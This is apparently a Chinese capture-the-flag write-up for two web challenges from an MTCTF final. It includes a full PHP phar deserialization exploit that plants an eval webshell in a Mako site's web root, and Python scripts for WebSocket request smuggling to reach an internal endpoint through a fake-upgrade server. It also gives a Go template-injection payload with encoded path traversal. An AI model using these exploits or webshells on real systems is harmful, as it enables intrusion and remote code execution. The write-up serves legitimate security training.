MTCTF决赛

MTCTF决赛

Mako ImageMagick

根据源码,第一反应就是phar反序列化。找一下触发phar的点。。。

public function __construct($image, ProcessorInterface $processor)
    {
        $this->image = $image;

        $this->processor = $processor;

        // Make sure that the image exists

        if(file_exists($this->image) === false)
        {
            throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
        }

        // Set the image

        $this->processor->open($image);
    }

Image的构造函数有file_exists()来触发。然后在editGet里

$fileName = $this->request->getQuery()->get('filename');
        $image = new Image($fileName, new ImageMagick());

filename可控,可以触发phar。然后就是挖链子。

Session.__destruct().commit()->
File.write()->
FileSystem.put()

直接写文件。将shell写在/var/www/mako/public下即可。

exp.php:

<?php
namespace mako\session{

    use mako\session\stores\File;

    class Session{

        protected $store;
        protected $autoCommit;
        protected $options =
            [
                'name'           => 'mako_session',
                'data_ttl'       => 1800,
                'cookie_ttl'     => 0,
                'cookie_options' =>
                    [
                        'path'     => '/',
                        'domain'   => '',
                        'secure'   => false,
                        'httponly' => true,
                    ],
            ];
        protected $destroyed = false;
        protected $sessionId;
        protected $sessionData = [];

        public function __construct()
        {
            $this->autoCommit = true;
            $this->store = new File();
            $this->sessionId = "2.php";
            $this->sessionData = array('<?=eval($_POST[1])?>');
        }
    }
}

namespace mako\session\stores{

    use mako\file\FileSystem;

    class File{

        protected $fileSystem;
        protected $sessionPath;

        public function __construct()
        {
            $this->fileSystem = new FileSystem();
            $this->sessionPath = "/var/www/mako/public";
        }

    }

}

namespace mako\file{
    class FileSystem{
        public function __construct()
        {
        }
    }
}

namespace {

    use mako\session\Session;

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Session();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "asd"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}

然后点击编辑按钮,修改url的filename为:phar:///var/www/mako/uploads/phar.phar即可写shell

safechat

查看源码,发现后端用websocket,然后nginx有代理,但是/api/internal没设代理,访问不了。所以需要一个ssrf获取到vip权限。

router.POST("/api/public/healthcheck", func(c *gin.Context) {
        host := "127.0.0.1"
        port := 80
        session := sessions.Default(c)
        session.Set("role", false)
        session.Save()
        if c.PostForm("host") != "" {
            host = c.PostForm("host")
        }
        if c.PostForm("port") != "" {
            iport, err := strconv.Atoi(c.PostForm("port"))
            if err == nil {
                port = iport
            }
        }
        url := fmt.Sprintf("http://%s:%d/", host, port)
        fmt.Print(url)
        response := httpRequest(url, "GET")
        c.String(response.StatusCode, "got it")
    })

这里有ssrf,但是不能post。需要想别的办法。根据nginx配置,猜测是nginx的ssrf。搜到文章:

0ang3el/websocket-smuggle: Issues with WebSocket reverse proxying allowing to smuggle HTTP requests (github.com)

只能说简直一模一样。直接拿里面的脚本修改:

import socket

req1 = b'''POST /api/public/healthcheck HTTP/1.1
Host: 39.105.99.40:40083
Connection: keep-alive, Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: seTW+5aD0rPSFqplvXZfsA==
Upgrade: websocket
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

host=47.96.173.116&port=2333
'''

req2 = b'''POST /api/internal/vip HTTP/1.1
Host: localhost:18000
Cookie: GINSESSION=MTY2NDA5NTYxN3xEdi1CQkFFQ180SUFBUkFCRUFBQUhQLUNBQUVHYzNSeWFXNW5EQVlBQkhKdmJHVUVZbTl2YkFJQ0FBQT18UzRIGI4pn_uZl518vOtNCafGm5ujPG7pbMY_ayMtAMI=
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

'''

def main(netloc):
    host, port = netloc.split(':')

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))

    sock.sendall(req1)
    data1 = sock.recv(4096)
    print(data1.decode(errors='ignore'))
    sock.sendall(req2)
    data = sock.recv(4096)
    data = data.decode(errors='ignore')

    print(data)

    sock.shutdown(socket.SHUT_RDWR)
    sock.close()

if __name__ == "__main__":
    main('39.105.99.40:40083')

需要在服务器上写一个101更换协议的响应,写个socket脚本:

import socket

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.bind(("0.0.0.0", 2333))
sk.listen(5)
print('run')
send = b'''HTTP/1.1 101 Switching Protocols
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 25 Sep 2022 08:55:49 GMT
Upgrade: websocket
Sec-WebSocket-Accept: 8xv8B0vCrUq3iHvvCxhqByJm/u=

'''
while True:
    conn,addr = sk.accept()
    data = conn.recv(1024)
    print(str(data, 'utf-8'))
    conn.sendall(send)
    conn.close

然后即可得到vip权限。修改cookie之后访问容器。然后在

func renderMsg(isVIP bool, msg []byte) []byte {
    defer func() {
        if err := recover(); err != nil {
            fmt.Println(err)
        }
    }()

    u := User{
        IsVIP: isVIP,
    }

    templateText := fmt.Sprintf("{{.BlueMsg \"%s\"}}", msg)

有ssti,直接闭合引号括号即可。根据文章:Go SSTI初探 | tyskillのBlog

直接调用vip才可用的读取文件函数,..可以用url编码绕过:

"}}{{.RenderAvatar "%2e%2e/%2e%2e/flag"}}

即可得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇